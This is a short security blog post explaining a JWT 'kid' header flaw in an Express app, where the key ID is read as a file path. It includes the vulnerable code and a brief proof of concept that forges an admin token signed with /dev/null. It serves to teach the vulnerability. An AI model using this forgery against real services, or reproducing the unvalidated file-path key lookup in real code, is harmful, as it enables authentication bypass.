Home [TIL] JWT using KeyID
Post
Cancel

[TIL] JWT using KeyID

I saw this vulnerable code in tweet.
we need to access /protected endpoint using req.name as admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const fs = require('fs');
var jwt = require('jsonwebtoken');
const cookieParser = require('cookie-parser');
const app = require('express')();
app.use(cookieParser());

app.use((req, res, next) => {
    const token = req.cookies.session;
    if (!token) return res.sendStatus(403);
    jwt.verify(token,
        (header, cb) => {
            cb(null, fs.readFileSync(header.kid));
        }, { algorithm: 'HS256' }, (err, data) => {
            if (err) return res. sendStatus (403);
            req.name = data.name;
            return next();
        }
        );
});

app.get('/protected', (req, res) => {
    if (req.name !=='admin') return res.sendStatus(401);
    res.send('You are the admin!');
});

app.listen(80);


In the code above, Verifying the token with HS256 algorithm which is uses secret key to signing. and there is header.kid (KeyID), optional header parameter, which is used to sign it.
And then it goes to readFileSync() argument so they use this as secret key.

The problem is that there is no verification of header.kid, so if any file name existing in the target system is entered, we can sign the token with arbitrary key. (ex /etc/passwd, node_modules/jsonwebtoken/LICENSE, /dev/null etc…)

And if the data.name is manipulated with admin, /protected endpoint become accessible!

You can create a arbitrary token as shown below.

1
2
3
4
5
6
7
8
const fs = require('fs');
var jwt = require('jsonwebtoken');

const key = fs.readFileSynce('/dev/null');
const session = jwt.sign({name: 'admin'}, key, {
    keyid: '/dev/null',
    algorithm: 'HS256',
});


Reference


[Crypto] Padding Oracle Attack

[Mobile] APK 리패키징 & 서명 방법 / 예제

Comments powered by Disqus.